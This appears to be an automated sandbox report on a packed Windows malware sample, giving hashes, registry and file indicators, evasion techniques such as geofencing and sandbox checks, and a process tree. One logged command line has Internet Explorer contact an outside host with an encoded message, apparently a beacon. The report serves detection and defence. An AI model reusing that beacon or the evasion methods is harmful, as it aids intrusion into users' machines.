c26dcbf785274d324bd3d52d5cca862c0b4eb3f8e52ea2d28730f468fc0a61ed

General

Target

05f8cceb91ad96e3fec180ad4fc6c317.exe
Size

158KB
MD5

05f8cceb91ad96e3fec180ad4fc6c317
SHA1

5ef7ee929bbd7b44b365302391ae2e1fedc04b97
SHA256

c26dcbf785274d324bd3d52d5cca862c0b4eb3f8e52ea2d28730f468fc0a61ed
SHA512

602e4831a0ef7eece355ce911c2de1382b2e5bde06e3af9eaa23ade68c28bc44d21842e36d1a8b97eb78c08195090318836486b20c7a54809a89192db34a644e
SSDEEP

3072:fwABjrG3Vi/cOBLUsmyi4AHhmTdI3wIe0HRDLVT/sOrVzzXZ:oGjrUVecOJUsmdmdI3vPRDLp/s0zJ

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	05f8cceb91ad96e3fec180ad4fc6c317.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3964-0-0x0000000000400000-0x0000000000435000-memory.dmp	upx
behavioral2/memory/3964-1-0x0000000000400000-0x0000000000435000-memory.dmp	upx
behavioral2/memory/3964-2-0x0000000000400000-0x0000000000435000-memory.dmp	upx
behavioral2/memory/3964-12-0x0000000000400000-0x0000000000435000-memory.dmp	upx
behavioral2/memory/3964-17-0x0000000000400000-0x0000000000435000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\efdecdfdcceeabbedb.dll	05f8cceb91ad96e3fec180ad4fc6c317.exe
File opened for modification	C:\Windows\SysWOW64\RCX2268.tmp	05f8cceb91ad96e3fec180ad4fc6c317.exe
File opened for modification	C:\Windows\SysWOW64\efdecdfdcceeabbedb.dll	05f8cceb91ad96e3fec180ad4fc6c317.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key created	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	05f8cceb91ad96e3fec180ad4fc6c317.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	05f8cceb91ad96e3fec180ad4fc6c317.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	05f8cceb91ad96e3fec180ad4fc6c317.exe

Modifies Internet Explorer settings 1 TTPs 23 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{2D6EDEA1-A706-11EE-B6AD-EAB06C7B55B6} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "4280621793"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31079186"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31079187"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31079186"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "4280621793"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "345638000"	IEXPLORE.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2132	iexplore.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2132	iexplore.exe
2132	iexplore.exe
4712	IEXPLORE.EXE
4712	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3964 wrote to memory of 3724	3964	05f8cceb91ad96e3fec180ad4fc6c317.exe	93
PID 3964 wrote to memory of 3724	3964	05f8cceb91ad96e3fec180ad4fc6c317.exe	93
PID 3964 wrote to memory of 3724	3964	05f8cceb91ad96e3fec180ad4fc6c317.exe	93
PID 3964 wrote to memory of 2132	3964	05f8cceb91ad96e3fec180ad4fc6c317.exe	99
PID 3964 wrote to memory of 2132	3964	05f8cceb91ad96e3fec180ad4fc6c317.exe	99
PID 2132 wrote to memory of 4712	2132	iexplore.exe	101
PID 2132 wrote to memory of 4712	2132	iexplore.exe	101
PID 2132 wrote to memory of 4712	2132	iexplore.exe	101

C:\Users\Admin\AppData\Local\Temp\05f8cceb91ad96e3fec180ad4fc6c317.exe
"C:\Users\Admin\AppData\Local\Temp\05f8cceb91ad96e3fec180ad4fc6c317.exe"
1⤵
- Checks computer location settings
- Drops file in System32 directory
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:3964
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\f3e072290cb0045dcc47ce6aa23776f1.bat
  2⤵
  PID:3724
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://wl.cabolar.com/v3062/repins.jpg?msg=vr4m1h4euM9XBMKQxff94jaTxK7ZuQ%2BT%2BkjGD%2FVjSRqUysKPW6VIkics5oniUp9ldsunt43lwIUB9E%2Fy%2FCnbM7Q%2B13dcyHLNRCUblgu1xOBkzuQiLkgtxxIUqlUTwIIk
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2132 CREDAT:17410 /prefetch:2
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:4712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\f3e072290cb0045dcc47ce6aa23776f1.bat

Filesize
209B

MD5
02b44e60928967f0521022c0863959fc

SHA1
27e670b44c943892ab00b796f2eb5985b6cf6e3e

SHA256
3f2025a624c38be13b3b052eb85326e7237d0cfab644be484e07b1e90b6b312f

SHA512
cf53ed2de7439763dd183ecdc3b3bea4db35122a8847baeaa9a69149273b9fa1d97c2882b492e4ed125a499e89925c56f493516dadb8f67ad9d9d79b189ce000

Download Submit
memory/3964-0-0x0000000000400000-0x0000000000435000-memory.dmp

Filesize
212KB

Download
memory/3964-1-0x0000000000400000-0x0000000000435000-memory.dmp

Filesize
212KB

Download
memory/3964-2-0x0000000000400000-0x0000000000435000-memory.dmp

Filesize
212KB

Download
memory/3964-12-0x0000000000400000-0x0000000000435000-memory.dmp

Filesize
212KB

Download
memory/3964-17-0x0000000000400000-0x0000000000435000-memory.dmp

Filesize
212KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads